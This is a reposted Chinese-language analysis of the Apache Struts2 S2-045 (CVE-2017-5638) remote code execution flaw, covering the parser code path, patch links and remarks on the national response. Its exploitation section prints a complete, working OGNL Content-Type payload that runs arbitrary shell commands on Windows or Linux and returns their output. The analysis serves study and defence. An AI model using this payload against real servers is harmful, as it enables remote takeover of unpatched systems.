Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

$
0
0
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

2017-03-13 12:12:18
来源:安全客 作者:xiaodingdang

阅读:449次
点赞(0)
收藏





【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

作者:xiaodingdang

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【漏洞分析】Struts2-045分析(CVE-2017-5638)

【漏洞分析】S2-045 原理初步分析(CVE-2017-5638)

【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)


0x00前言
本文主要是对Apache Struts2(S2-045)漏洞进行原理分析。

Apache Struts2使用的Jakarta Multipart parser插件存在远程代码执行漏洞。可以通过构造Content-Type值进行触发漏洞,造成远程执行代码。影响Struts2版本Struts 2.3.5 - Struts 2.3.31, Struts 2.5 -Struts 2.5.10


0x01 漏洞公布

大概是北京时间2017年3月6号晚上10点apache发布了S2-045预警公告

详情:https://cwiki.apache.org/confluence/display/WW/S2-045

随后能够得到补丁信息:

https://github.com/apache/struts/commit/6b8272ce47160036ed120a48345d9aa884477228

通过apache漏洞公告和补丁信息,可以得到:

1.漏洞发生在Jakarta上传解析器

2.受影响struts版本是Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

3.通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显。


0x02 漏洞分析

Struts2默认处理multipart报文的解析器是jakarta
<beantype="org.apache.struts2.dispatcher.multipart.MultiPartRequest"name="jakarta"class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest"scope="prototype"/> <beantype="org.apache.struts2.dispatcher.multipart.MultiPartRequest"name="jakarta-stream"class="org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest"scope="prototype"/>

JakartaMultiPartRequest.java 的buildErrorMessage函数中localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

那么总的流程是什么呢?

首先会在执行请求前做一些准备工作在PrepareOpertions.java中,包括通过wrapRequest的封装请求。


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

随后对Content-Type头部进行判断,当存在"multipart/form-data"的时候,会通过mpr,给每个请求返回一个新的实例,保证线程安全,同时交给MultipartRequest类处理


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

通过getSaveDir(),来获取保存上传路径


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

MultiPartRequestWrapper类通过获取如下参数,来对收集错误信息,文件信息和默认的本地配置进行封装返回。


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

漏洞发生在MultiPartRequestWrapper会通过调用JakartaMultiPartRequest.java的parse进行解析请求


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

parse函数又会调用buildErrotMessage()方法


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

而buildErrorMessage()方法又调用了LocalizedTextUtil的findText方法,导致了ONGL的执行。


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

0x03 漏洞利用

通过构造content-Type来实现利用
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

xxx='multipart/form-data'主要是让struts程序content_type.contains(“multipart/form- data”)判断为true

#container=#context['com.opensymphony.xwork2.ActionContext.container'] 来获取上下文容器 #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class 通过容器实例化,对OgnlAPI的通用访问,设置和获取属性。 #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}) 判断目标主机的操作系统类型,并进行执行命令赋值 #p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) 执行攻击命令

0x04 漏洞修复

1.可升级版本到Apache Struts 2.3.32或者Apache struts 2.5.10.1

2.官方补丁

https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

随笔感想:

这么严重的安全事件,在3月7号早上poc和exp就被泄露出来了,可以说给企业留给应急的时间很短,一时间无数人通过搜索引擎去利用s2-045进行利用,根据受影响的站点,政府和学校应该是受影响最大的组织。引用heige话一时间如同蝗虫般侵袭着网站,但是让人欣慰的是国家对于安全问题越来越重视,近几年在安全方面投入的加大,各公司的安全应急做的很快,尤其是互联网公司。基本3月8号晚上基本都完成了对s2-045漏洞的修复。

这里面我觉得有几个方面原因:

1.国内存在着像补天,漏洞盒子等这样的漏洞收集平台(据说审核人员这次一晚上审核上千个漏洞),对于漏洞通报,快速响应至关重要,最让人眼前一亮的是还在beta测试阶段的教育行业漏洞报告平台(https://src.edu-info.edu.cn/ ),可以说对于学校处理s2-045漏洞发挥了很大的作用。


【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

2.国内对于安全的重视,安全人员的培养,安全行业的宣传,使更多人和大学生接触到了安全行业,这才导致了大量的人员去平台提交漏洞,大部分安全从业者还是懂法,具有道德底线的,知道什么事可以干,什么事不行。

3.随着国内安全行业的发展,涌现了一批从事安全专业公司包括bat3,不管是安全服务还是安全设备防护等等,极大的提高了企业的安全防护能力和安全意识。

最后,我觉得从这次事件可以看出,国内对于重大安全事件的应急响应能力有了质的飞跃。


传送门

【漏洞分析】Struts2-045分析(CVE-2017-5638)

【漏洞分析】S2-045 原理初步分析(CVE-2017-5638)

【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)



【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3596.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles